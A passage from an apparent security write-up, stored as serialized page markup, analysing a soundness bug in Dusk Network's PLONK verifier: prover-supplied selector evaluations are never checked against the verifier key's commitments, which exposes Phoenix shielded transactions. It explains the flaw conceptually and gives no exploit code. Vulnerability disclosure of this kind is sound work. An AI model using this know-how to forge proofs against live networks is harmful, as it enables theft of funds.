data",{"type":29,"value":313},{"type":23,"tag":3998,"props":143574,"children":143575},{},[143576],{"type":29,"value":143577},"prover claims about that data at the random challenge point",{"type":29,"value":143579},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":38,"props":143581,"children":143583},{"className":143582},[],[143584],{"type":29,"value":143585},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":143587}," directly into the ",{"type":23,"tag":55,"props":143589,"children":143592},{"href":143590,"rel":143591},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[59],[143593],{"type":29,"value":143594},"linearization multi-scalar multiplication",{"type":29,"value":143596},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":32,"props":143598,"children":143599},{},[143600,143602,143627],{"type":29,"value":143601},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":38,"props":143603,"children":143605},{"className":143604},[2658,2659],[143606],{"type":23,"tag":141,"props":143607,"children":143609},{"className":143608},[2664],[143610],{"type":23,"tag":141,"props":143611,"children":143613},{"className":143612,"ariaHidden":2670},[2669],[143614],{"type":23,"tag":141,"props":143615,"children":143617},{"className":143616},[2675],[143618,143622],{"type":23,"tag":141,"props":143619,"children":143621},{"className":143620,"style":109373},[2680],[],{"type":23,"tag":141,"props":143623,"children":143625},{"className":143624,"style":112089},[2686,20260],[143626],{"type":29,"value":112092},{"type":29,"value":143628}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":32,"props":143630,"children":143631},{},[143632],{"type":29,"value":143633},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":143635,"props":143636,"children":143637},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":17463,"props":143639,"children":143640},{},[],{"type":23,"tag":24,"props":143642,"children":143644},{"id":143643},"how-dusk-uses-plonk",[143645],{"type":29,"value":143646},"How Dusk uses PLONK",{"type":23,"tag":32,"props":143648,"children":143649},{},[143650,143656],{"type":23,"tag":55,"props":143651,"children":143653},{"href":140396,"rel":143652},[59],[143654],{"type":29,"value":143655},"Dusk Network",{"type":29,"value":143657}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":15362,"props":143659,"children":143660},{},[143661,143666],{"type":23,"tag":120,"props":143662,"children":143663},{},[143664],{"type":29,"value":143665},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":120,"props":143667,"children":143668},{},[143669],{"type":29,"value":143670},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":32,"props":143672,"children":143673},{},[143674,143676,143687,143689,143700],{"type":29,"value":143675},"At node level, every ",{"type":23,"tag":55,"props":143677,"children":143680},{"href":143678,"rel":143679},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[59],[143681],{"type":23,"tag":38,"props":143682,"children":143684},{"className":143683},[],[143685],{"type":29,"value":143686},"ProtocolTransaction::Phoenix",{"type":29,"value":143688}," goes through ",{"type":23,"tag":55,"props":143690,"children":143693},{"href":143691,"rel":143692},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[59],[143694],{"type":23,"tag":38,"props":143695,"children":143697},{"className":143696},[],[143698],{"type":29,"value":143699},"verify_proof_with_version()",{"type":29,"value":143701}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":32,"props":143703,"children":143704},{},[143705,143707,143718,143720,143731,143732,143743,143744,143755,143756,143767],{"type":29,"value":143706},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":55,"props":143708,"children":143711},{"href":143709,"rel":143710},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[59],[143712],{"type":23,"tag":38,"props":143713,"children":143715},{"className":143714},[],[143716],{"type":29,"value":143717},"phoenix()",{"type":29,"value":143719},", for example in ",{"type":23,"tag":55,"props":143721,"children":143724},{"href":143722,"rel":143723},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[59],[143725],{"type":23,"tag":38,"props":143726,"children":143728},{"className":143727},[],[143729],{"type":29,"value":143730},"phoenix_stake()",{"type":29,"value":480},{"type":23,"tag":55,"props":143733,"children":143736},{"href":143734,"rel":143735},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[59],[143737],{"type":23,"tag":38,"props":143738,"children":143740},{"className":143739},[],[143741],{"type":29,"value":143742},"phoenix_stake_reward()",{"type":29,"value":480},{"type":23,"tag":55,"props":143745,"children":143748},{"href":143746,"rel":143747},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[59],[143749],{"type":23,"tag":38,"props":143750,"children":143752},{"className":143751},[],[143753],{"type":29,"value":143754},"phoenix_unstake()",{"type":29,"value":5161},{"type":23,"tag":55,"props":143757,"children":143760},{"href":143758,"rel":143759},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[59],[143761],{"type":23,"tag":38,"props":143762,"children":143764},{"className":143763},[],[143765],{"type":29,"value":143766},"phoenix_to_moonlight()",{"type":29,"value":143768},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":32,"props":143770,"children":143771},{},[143772],{"type":23,"tag":2591,"props":143773,"children":143776},{"alt":143774,"src":143775},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":32,"props":143778,"children":143779},{},[143780,143782,143788,143790,143797],{"type":29,"value":143781},"The PLONK implementation, ",{"type":23,"tag":55,"props":143783,"children":143786},{"href":143784,"rel":143785},"https://github.com/dusk-network/plonk",[59],[143787],{"type":29,"value":140391},{"type":29,"value":143789},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":55,"props":143791,"children":143794},{"href":143792,"rel":143793},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[59],[143795],{"type":29,"value":143796},"the original paper",{"type":29,"value":143798}," was released.",{"type":23,"tag":32,"props":143800,"children":143801},{},[143802,143804,143810],{"type":29,"value":143803},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":55,"props":143805,"children":143808},{"href":143806,"rel":143807},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[59],[143809],{"type":29,"value":46062},{"type":29,"value":143811},". The circuit enforces the following set of constraints:",{"type":23,"tag":54224,"props":143813,"children":143814},{},[143815,143831],{"type":23,"tag":121483,"props":143816,"children":143817},{},[143818],{"type":23,"tag":121487,"props":143819,"children":143820},{},[143821,143826],{"type":23,"tag":121491,"props":143822,"children":143823},{},[143824],{"type":29,"value":143825},"Circuit check",{"type":23,"tag":121491,"props":143827,"children":143828},{},[143829],{"type":29,"value":143830},"Statement being checked",{"type":23,"tag":121511,"props":143832,"children":143833},{},[143834,143852,143870,143888,143906,144063,144203,144221],{"type":23,"tag":121487,"props":143835,"children":143836},{},[143837,143847],{"type":23,"tag":121518,"props":143838,"children":143839},{},[143840],{"type":23,"tag":55,"props":143841,"children":143844},{"href":143842,"rel":143843},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[59],[143845],{"type":29,"value":143846},"Merkle tree membership",{"type":23,"tag":121518,"props":143848,"children":143849},{},[143850],{"type":29,"value":143851},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":121487,"props":143853,"children":143854},{},[143855,143865],{"type":23,"tag":121518,"props":143856,"children":143857},{},[143858],{"type":23,"tag":55,"props":143859,"children":143862},{"href":143860,"rel":143861},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[59],[143863],{"type":29,"value":143864},"Input-note secret-key authorization",{"type":23,"tag":121518,"props":143866,"children":143867},{},[143868],{"type":29,"value":143869},"The prover knows the secret key controlling each input note",{"type":23,"tag":121487,"props":143871,"children":143872},{},[143873,143883],{"type":23,"tag":121518,"props":143874,"children":143875},{},[143876],{"type":23,"tag":55,"props":143877,"children":143880},{"href":143878,"rel":143879},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[59],[143881],{"type":29,"value":143882},"Nullifier correctness",{"type":23,"tag":121518,"props":143884,"children":143885},{},[143886],{"type":29,"value":143887},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":121487,"props":143889,"children":143890},{},[143891,143901],{"type":23,"tag":121518,"props":143892,"children":143893},{},[143894],{"type":23,"tag":55,"props":143895,"children":143898},{"href":143896,"rel":143897},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[59],[143899],{"type":29,"value":143900},"Output value commitment correctness",{"type":23,"tag":121518,"props":143902,"children":143903},{},[143904],{"type":29,"value":143905},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":121487,"props":143907,"children":143908},{},[143909,143919],{"type":23,"tag":121518,"props":143910,"children":143911},{},[143912],{"type":23,"tag":55,"props":143913,"children":143916},{"href":143914,"rel":143915},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[59],[143917],{"type":29,"value":143918},"Balance integrity",{"type":23,"tag":121518,"props":143920,"children":143921},{},[143922],{"type":23,"tag":38,"props":143923,"children":143925},{"className":143924},[2658,2659],[143926],{"type":23,"tag":141,"props":143927,"children":143929},{"className":143928},[2664],[143930],{"type":23,"tag":141,"props":143931,"children":143933},{"className":143932,"ariaHidden":2670},[2669],[143934,143974,144014,144046],{"type":23,"tag":141,"props":143935,"children":143937},{"className":143936},[2675],[143938,143942,143947,143951,143961,143965,143970],{"type":23,"tag":141,"props":143939,"children":143941},{"className":143940,"style":2787},[2680],[],{"type":23,"tag":141,"props":143943,"children":143945},{"className":143944,"style":20303},[20296,20301,20302],[143946],{"type":29,"value":107327},{"type":23,"tag":141,"props":143948,"children":143950},{"className":143949,"style":2804},[2766],[],{"type":23,"tag":141,"props":143952,"children":143954},{"className":143953},[2686,29],[143955],{"type":23,"tag":141,"props":143956,"children":143958},{"className":143957},[2686],[143959],{"type":29,"value":143960},"inputs",{"type":23,"tag":141,"props":143962,"children":143964},{"className":143963,"style":2863},[2766],[],{"type":23,"tag":141,"props":143966,"children":143968},{"className":143967},[2868],[143969],{"type":29,"value":1377},{"type":23,"tag":141,"props":143971,"children":143973},{"className":143972,"style":2863},[2766],[],{"type":23,"tag":141,"props":143975,"children":143977},{"className":143976},[2675],[143978,143982,143987,143991,144001,144005,144010],{"type":23,"tag":141,"props":143979,"children":143981},{"className":143980,"style":2787},[2680],[],{"type":23,"tag":141,"props":143983,"children":143985},{"className":143984,"style":20303},[20296,20301,20302],[143986],{"type":29,"value":107327},{"type":23,"tag":141,"props":143988,"children":143990},{"className":143989,"style":2804},[2766],[],{"type":23,"tag":141,"props":143992,"children":143994},{"className":143993},[2686,29],[143995],{"type":23,"tag":141,"props":143996,"children":143998},{"className":143997},[2686],[143999],{"type":29,"value":144000},"outputs",{"type":23,"tag":141,"props":144002,"children":144004},{"className":144003,"style":2767},[2766],[],{"type":23,"tag":141,"props":144006,"children":144008},{"className":144007},[2772],[144009],{"type":29,"value":3058},{"type":23,"tag":141,"props":144011,"children":144013},{"className":144012,"style":2767},[2766],[],{"type":23,"tag":141,"props":144015,"children":144017},{"className":144016},[2675],[144018,144023,144033,144037,144042],{"type":23,"tag":141,"props":144019,"children":144022},{"className":144020,"style":144021},[2680],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":141,"props":144024,"children":144026},{"className":144025},[2686,29],[144027],{"type":23,"tag":141,"props":144028,"children":144030},{"className":144029},[2686],[144031],{"type":29,"value":144032},"fee",{"type":23,"tag":141,"props":144034,"children":144036},{"className":144035,"style":2767},[2766],[],{"type":23,"tag":141,"props":144038,"children":144040},{"className":144039},[2772],[144041],{"type":29,"value":3058},{"type":23,"tag":141,"props":144043,"children":144045},{"className":144044,"style":2767},[2766],[],{"type":23,"tag":141,"props":144047,"children":144049},{"className":144048},[2675],[144050,144054],{"type":23,"tag":141,"props":144051,"children":144053},{"className":144052,"style":113587},[2680],[],{"type":23,"tag":141,"props":144055,"children":144057},{"className":144056},[2686,29],[144058],{"type":23,"tag":141,"props":144059,"children":144061},{"className":144060},[2686],[144062],{"type":29,"value":60444},{"type":23,"tag":121487,"props":144064,"children":144065},{},[144066,144083],{"type":23,"tag":121518,"props":144067,"children":144068},{},[144069,144076,144077],{"type":23,"tag":55,"props":144070,"children":144073},{"href":144071,"rel":144072},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[59],[144074],{"type":29,"value":144075},"Range checks on inputs",{"type":29,"value":313},{"type":23,"tag":55,"props":144078,"children":144081},{"href":144079,"rel":144080},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[59],[144082],{"type":29,"value":144000},{"type":23,"tag":121518,"props":144084,"children":144085},{},[144086,144088],{"type":29,"value":144087},"All note values lie in ",{"type":23,"tag":38,"props":144089,"children":144091},{"className":144090},[2658,2659],[144092],{"type":23,"tag":141,"props":144093,"children":144095},{"className":144094},[2664],[144096],{"type":23,"tag":141,"props":144097,"children":144099},{"className":144098,"ariaHidden":2670},[2669],[144100,144185],{"type":23,"tag":141,"props":144101,"children":144103},{"className":144102},[2675],[144104,144108,144113,144118,144123,144127,144172,144176,144181],{"type":23,"tag":141,"props":144105,"children":144107},{"className":144106,"style":113844},[2680],[],{"type":23,"tag":141,"props":144109,"children":144111},{"className":144110},[20389],[144112],{"type":29,"value":2399},{"type":23,"tag":141,"props":144114,"children":144116},{"className":144115},[2686],[144117],{"type":29,"value":2698},{"type":23,"tag":141,"props":144119,"children":144121},{"className":144120},[2798],[144122],{"type":29,"value":512},{"type":23,"tag":141,"props":144124,"children":144126},{"className":144125,"style":2804},[2766],[],{"type":23,"tag":141,"props":144128,"children":144130},{"className":144129},[2686],[144131,144136],{"type":23,"tag":141,"props":144132,"children":144134},{"className":144133},[2686],[144135],{"type":29,"value":1049},{"type":23,"tag":141,"props":144137,"children":144139},{"className":144138},[2702],[144140],{"type":23,"tag":141,"props":144141,"children":144143},{"className":144142},[2707],[144144],{"type":23,"tag":141,"props":144145,"children":144147},{"className":144146},[2712],[144148],{"type":23,"tag":141,"props":144149,"children":144151},{"className":144150,"style":2681},[2717],[144152],{"type":23,"tag":141,"props":144153,"children":144154},{"style":2721},[144155,144159],{"type":23,"tag":141,"props":144156,"children":144158},{"className":144157,"style":2727},[2726],[],{"type":23,"tag":141,"props":144160,"children":144162},{"className":144161},[2732,2733,2734,2735],[144163],{"type":23,"tag":141,"props":144164,"children":144166},{"className":144165},[2686,2735],[144167],{"type":23,"tag":141,"props":144168,"children":144170},{"className":144169},[2686,2735],[144171],{"type":29,"value":475},{"type":23,"tag":141,"props":144173,"children":144175},{"className":144174,"style":2767},[2766],[],{"type":23,"tag":141,"props":144177,"children":144179},{"className":144178},[2772],[144180],{"type":29,"value":2746},{"type":23,"tag":141,"props":144182,"children":144184},{"className":144183,"style":2767},[2766],[],{"type":23,"tag":141,"props":144186,"children":144188},{"className":144187},[2675],[144189,144193,144198],{"type":23,"tag":141,"props":144190,"children":144192},{"className":144191,"style":2787},[2680],[],{"type":23,"tag":141,"props":144194,"children":144196},{"className":144195},[2686],[144197],{"type":29,"value":687},{"type":23,"tag":141,"props":144199,"children":144201},{"className":144200},[20411],[144202],{"type":29,"value":14088},{"type":23,"tag":121487,"props":144204,"children":144205},{},[144206,144216],{"type":23,"tag":121518,"props":144207,"children":144208},{},[144209],{"type":23,"tag":55,"props":144210,"children":144213},{"href":144211,"rel":144212},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[59],[144214],{"type":29,"value":144215},"Sender-authorship signatures",{"type":23,"tag":121518,"props":144217,"children":144218},{},[144219],{"type":29,"value":144220},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":121487,"props":144222,"children":144223},{},[144224,144234],{"type":23,"tag":121518,"props":144225,"children":144226},{},[144227],{"type":23,"tag":55,"props":144228,"children":144231},{"href":144229,"rel":144230},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[59],[144232],{"type":29,"value":144233},"Sender encryption correctness",{"type":23,"tag":121518,"props":144235,"children":144236},{},[144237],{"type":29,"value":144238},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":32,"props":144240,"children":144241},{},[144242,144244,144250,144252,144261],{"type":29,"value":144243},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":38,"props":144245,"children":144247},{"className":144246},[],[144248],{"type":29,"value":144249},"tx.public_inputs()",{"type":29,"value":144251}," via ",{"type":23,"tag":55,"props":144253,"children":144255},{"href":143691,"rel":144254},[59],[144256],{"type":23,"tag":38,"props":144257,"children":144259},{"className":144258},[],[144260],{"type":29,"value":143699},{"type":29,"value":322},{"type":23,"tag":32,"props":144263,"children":144264},{},[144265],{"type":29,"value":144266},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":17463,"props":144268,"children":144269},{},[],{"type":23,"tag":24,"props":144271,"children":144272},{"id":88786},[144273],{"type":29,"value":144274},"The bug",{"type":23,"tag":32,"props":144276,"children":144277},{},[144278,144280,144287,144289,144300],{"type":29,"value":144279},"In the ",{"type":23,"tag":55,"props":144281,"children":144284},{"href":144282,"rel":144283},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[59],[144285],{"type":29,"value":144286},"PLONK verification",{"type":29,"value":144288},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":55,"props":144290,"children":144293},{"href":144291,"rel":144292},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[59],[144294],{"type":23,"tag":38,"props":144295,"children":144297},{"className":144296},[],[144298],{"type":29,"value":144299},"E_evals",{"type":29,"value":144301},") are:",{"type":23,"tag":15362,"props":144303,"children":144304},{},[144305,144337,144362,144387],{"type":23,"tag":120,"props":144306,"children":144307},{},[144308,144314,144315,144321,144322,144328,144329,144335],{"type":23,"tag":38,"props":144309,"children":144311},{"className":144310},[],[144312],{"type":29,"value":144313},"a_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144316,"children":144318},{"className":144317},[],[144319],{"type":29,"value":144320},"b_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144323,"children":144325},{"className":144324},[],[144326],{"type":29,"value":144327},"c_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144330,"children":144332},{"className":144331},[],[144333],{"type":29,"value":144334},"d_eval",{"type":29,"value":144336}," (witness)",{"type":23,"tag":120,"props":144338,"children":144339},{},[144340,144346,144347,144353,144354,144360],{"type":23,"tag":38,"props":144341,"children":144343},{"className":144342},[],[144344],{"type":29,"value":144345},"s_sigma_1_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144348,"children":144350},{"className":144349},[],[144351],{"type":29,"value":144352},"s_sigma_2_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144355,"children":144357},{"className":144356},[],[144358],{"type":29,"value":144359},"s_sigma_3_eval",{"type":29,"value":144361}," (permutation)",{"type":23,"tag":120,"props":144363,"children":144364},{},[144365,144371,144372,144378,144379,144385],{"type":23,"tag":38,"props":144366,"children":144368},{"className":144367},[],[144369],{"type":29,"value":144370},"a_w_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144373,"children":144375},{"className":144374},[],[144376],{"type":29,"value":144377},"b_w_eval",{"type":29,"value":480},{"type":23,"tag":38,"props":144380,"children":144382},{"className":144381},[],[144383],{"type":29,"value":144384},"d_w_eval",{"type":29,"value":144386}," (shifted witness)",{"type":23,"tag":120,"props":144388,"children":144389},{},[144390,144396],{"type":23,"tag":38,"props":144391,"children":144393},{"className":144392},[],[144394],{"type":29,"value":144395},"z_eval",{"type":29,"value":144397}," (permutation accumulator)",{"type":23,"tag":32,"props":144399,"children":144400},{},[144401,144403,144407],{"type":29,"value":144402},"But the following selector evaluations were ",{"type":23,"tag":47,"props":144404,"children":144405},{},[144406],{"type":29,"value":17163},{"type":29,"value":144408}," included:",{"type":23,"tag":15362,"props":144410,"children":144411},{},[144412,144423,144434,144445],{"type":23,"tag":120,"props":144413,"children":144414},{},[144415,144421],{"type":23,"tag":38,"props":144416,"children":144418},{"className":144417},[],[144419],{"type":29,"value":144420},"q_arith_eval",{"type":29,"value":144422}," (arithmetic selector)",{"type":23,"tag":120,"props":144424,"children":144425},{},[144426,144432],{"type":23,"tag":38,"props":144427,"children":144429},{"className":144428},[],[144430],{"type":29,"value":144431},"q_c_eval",{"type":29,"value":144433}," (constant selector)",{"type":23,"tag":120,"props":144435,"children":144436},{},[144437,144443],{"type":23,"tag":38,"props":144438,"children":144440},{"className":144439},[],[144441],{"type":29,"value":144442},"q_l_eval",{"type":29,"value":144444}," (left selector)",{"type":23,"tag":120,"props":144446,"children":144447},{},[144448,144454],{"type":23,"tag":38,"props":144449,"children":144451},{"className":144450},[],[144452],{"type":29,"value":144453},"q_r_eval",{"type":29,"value":144455}," (right selector)",{"type":23,"tag":32,"props":144457,"children":144458},{},[144459,144461,144468,144469,144476,144477,144484,144485,144492],{"type":29,"value":144460},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":55,"props":144462,"children":144465},{"href":144463,"rel":144464},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[59],[144466],{"type":29,"value":144467},"proof struct",{"type":29,"value":480},{"type":23,"tag":55,"props":144470,"children":144473},{"href":144471,"rel":144472},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[59],[144474],{"type":29,"value":144475},"transcript absorption",{"type":29,"value":480},{"type":23,"tag":55,"props":144478,"children":144481},{"href":144479,"rel":144480},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[59],[144482],{"type":29,"value":144483},"arithmetic widget",{"type":29,"value":480},{"type":23,"tag":55,"props":144486,"children":144489},{"href":144487,"rel":144488},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[59],[144490],{"type":29,"value":144491},"fixed-base ECC widget",{"type":29,"value":144493},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":32,"props":144495,"children":144496},{},[144497,144499,144503],{"type":29,"value":144498},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":47,"props":144500,"children":144501},{},[144502],{"type":29,"value":17163},{"type":29,"value":144504}," bugs:",{"type":23,"tag":15362,"props":144506,"children":144507},{},[144508,144648],{"type":23,"tag":120,"props":144509,"children":144510},{},[144511,144513,144558,144560,144566,144568,144573,144574,144579,144580,144585,144587,144593,144595,144640,144642,144647],{"type":29,"value":144512},"There is no prover-supplied ",{"type":23,"tag":38,"props":144514,"children":144516},{"className":144515},[2658,2659],[144517],{"type":23,"tag":141,"props":144518,"children":144520},{"className":144519},[2664],[144521],{"type":23,"tag":141,"props":144522,"children":144524},{"className":144523,"ariaHidden":2670},[2669],[144525],{"type":23,"tag":141,"props":144526,"children":144528},{"className":144527},[2675],[144529,144533,144538,144543,144548,144553],{"type":23,"tag":141,"props":144530,"children":144532},{"className":144531,"style":2787},[2680],[],{"type":23,"tag":141,"props":144534,"children":144536},{"className":144535},[2686,20260],[144537],{"type":29,"value":1807},{"type":23,"tag":141,"props":144539,"children":144541},{"className":144540},[20389],[144542],{"type":29,"value":192},{"type":23,"tag":141,"props":144544,"children":144546},{"className":144545,"style":112089},[2686,20260],[144547],{"type":29,"value":112092},{"type":23,"tag":141,"props":144549,"children":144551},{"className":144550,"style":92018},[2686,20260],[144552],{"type":29,"value":143222},{"type":23,"tag":141,"props":144554,"children":144556},{"className":144555},[20411],[144557],{"type":29,"value":1788},{"type":29,"value":144559}," field at all. ",{"type":23,"tag":38,"props":144561,"children":144563},{"className":144562},[],[144564],{"type":29,"value":144565},"ProofEvaluations",{"type":29,"value":144567}," contains ",{"type":23,"tag":38,"props":144569,"children":144571},{"className":144570},[],[144572],{"type":29,"value":144370},{"type":29,"value":480},{"type":23,"tag":38,"props":144575,"children":144577},{"className":144576},[],[144578],{"type":29,"value":144377},{"type":29,"value":5161},{"type":23,"tag":38,"props":144581,"children":144583},{"className":144582},[],[144584],{"type":29,"value":144384},{"type":29,"value":144586},", but no ",{"type":23,"tag":38,"props":144588,"children":144590},{"className":144589},[],[144591],{"type":29,"value":144592},"c_w_eval",{"type":29,"value":144594},", so the verifier never consumes an unbound ",{"type":23,"tag":38,"props":144596,"children":144598},{"className":144597},[2658,2659],[144599],{"type":23,"tag":141,"props":144600,"children":144602},{"className":144601},[2664],[144603],{"type":23,"tag":141,"props":144604,"children":144606},{"className":144605,"ariaHidden":2670},[2669],[144607],{"type":23,"tag":141,"props":144608,"children":144610},{"className":144609},[2675],[144611,144615,144620,144625,144630,144635],{"type":23,"tag":141,"props":144612,"children":144614},{"className":144613,"style":2787},[2680],[],{"type":23,"tag":141,"props":144616,"children":144618},{"className":144617},[2686,20260],[144619],{"type":29,"value":1807},{"type":23,"tag":141,"props":144621,"children":144623},{"className":144622},[20389],[144624],{"type":29,"value":192},{"type":23,"tag":141,"props":144626,"children":144628},{"className":144627,"style":112089},[2686,20260],[144629],{"type":29,"value":112092},{"type":23,"tag":141,"props":144631,"children":144633},{"className":144632,"style":92018},[2686,20260],[144634],{"type":29,"value":143222},{"type":23,"tag":141,"props":144636,"children":144638},{"className":144637},[20411],[144639],{"type":29,"value":1788},{"type":29,"value":144641}," claim (",{"type":23,"tag":55,"props":144643,"children":144645},{"href":144463,"rel":144644},[59],[144646],{"type":29,"value":144467},{"type":29,"value":19414},{"type":23,"tag":120,"props":144649,"children":144650},{},[144651,144653,144740,144742,144834,144835,144842],{"type":29,"value":144652},"There is a fourth permutation commitment ",{"type":23,"tag":38,"props":144654,"children":144656},{"className":144655},[2658,2659],[144657],{"type":23,"tag":141,"props":144658,"children":144660},{"className":144659},[2664],[144661],{"type":23,"tag":141,"props":144662,"children":144664},{"className":144663,"ariaHidden":2670},[2669],[144665],{"type":23,"tag":141,"props":144666,"children":144668},{"className":144667},[2675],[144669,144673,144678,144735],{"type":23,"tag":141,"props":144670,"children":144672},{"className":144671,"style":2787},[2680],[],{"type":23,"tag":141,"props":144674,"children":144676},{"className":144675},[20389],[144677],{"type":29,"value":2399},{"type":23,"tag":141,"props":144679,"children":144681},{"className":144680},[2686],[144682,144687],{"type":23,"tag":141,"props":144683,"children":144685},{"className":144684,"style":92018},[2686,20260],[144686],{"type":29,"value":143117},{"type":23,"tag":141,"props":144688,"children":144690},{"className":144689},[2702],[144691],{"type":23,"tag":141,"props":144692,"children":144694},{"className":144693},[2707,20314],[144695,144724],{"type":23,"tag":141,"props":144696,"children":144698},{"className":144697},[2712],[144699,144719],{"type":23,"tag":141,"props":144700,"children":144702},{"className":144701,"style":91584},[2717],[144703],{"type":23,"tag":141,"props":144704,"children":144705},{"style":92065},[144706,144710],{"type":23,"tag":141,"props":144707,"children":144709},{"className":144708,"style":2727},[2726],[],{"type":23,"tag":141,"props":144711,"children":144713},{"className":144712},[2732,2733,2734,2735],[144714],{"type":23,"tag":141,"props":144715,"children":144717},{"className":144716},[2686,2735],[144718],{"type":29,"value":16205},{"type":23,"tag":141,"props":144720,"children":144722},{"className":144721},[20417],[144723],{"type":29,"value":20420},{"type":23,"tag":141,"props":144725,"children":144727},{"className":144726},[2712],[144728],{"type":23,"tag":141,"props":144729,"children":144731},{"className":144730,"s